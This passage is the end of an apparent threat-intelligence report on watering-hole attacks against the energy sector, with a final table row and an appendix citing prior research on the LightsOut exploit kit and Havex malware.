<td>“So far the only collective alternative energy natural gas was electricity. Now, with the solution ‘VITORESEAU’ choice exists. VITOGAZ gives your town a safe, efficient and economical to the problem of gas supply places inaccessible to traditional city gas response.”</td>
<td>mahsms.ir</td>
<td>2014 Q1</td>
</tr>
</tbody>
</table>
XII. Appendix 12:
Previous and parallel research

ENERGY WATERING HOLE ATTACK USED LIGHTSOUT EXPLOIT KIT, Threatpost
http://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit
http://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit

Watering-Hole Attacks Target Energy Sector, Cisco Security

Global Threat Report 2013, Crowdstrike

Talk2M Incident Report, [30-01-2014], eWON
“The eWON commercial website www.ewon.biz has been attacked. A corrupted eCatcherSetup.exe file has been placed into the CMS (Content Management System) of www.ewon.biz website and eCatcher download hyperlinks have been rerouted to this corrupted file.“

LightsOut EK: “By the way... How much is the fish!?” , Malwageddon

LightsOut EK Targets Energy Sector, Zscalar Threatlab
http://research.zscaler.com/2014/03/lightsout-ek-targets-energy-sector.html

Advisory (ICSA-14-178-01), ICS Focused Malware, ICS-CERT
http://ics-cert.us-cert.gov/advisories/ICSA-14-178-01

“havex-rat” [analysis], Gi0vann1 Sug4r
http://pastebin.com/2x1JinJd

[analysis], @unixfreaxjp

Hello, a new specifically covered exploit kit, Snort VRT
http://vrt-blog.snort.org/2014/03/hello-new-exploit-kit.html
Continued analysis of the LightsOut Exploit Kit, Snort VRT
http://vrt-blog.snort.org/2014/05/continued-analysis-of-lightsout-exploit.html
http://vrt-blog.snort.org/2014/05/continued-analysis-of-lightsout-exploit.html

An Overview of Exploit Packs (Update 20) Jan 2014, Mila, Contagio

Havex Hunts For ICS/SCADA Systems, f-secure

Dragonfly: Cyberespionage Attacks Against Energy Suppliers, Symantec

“Targeted attacks against Canadian energy sector”, Canadian Cyber Incident Response Centre
http://origin.library.constantcontact.com/download/get/file/1102733644597-691/CCIRC+-+Operational+Summary+-+16February+2014+to+1+March+_2.pdf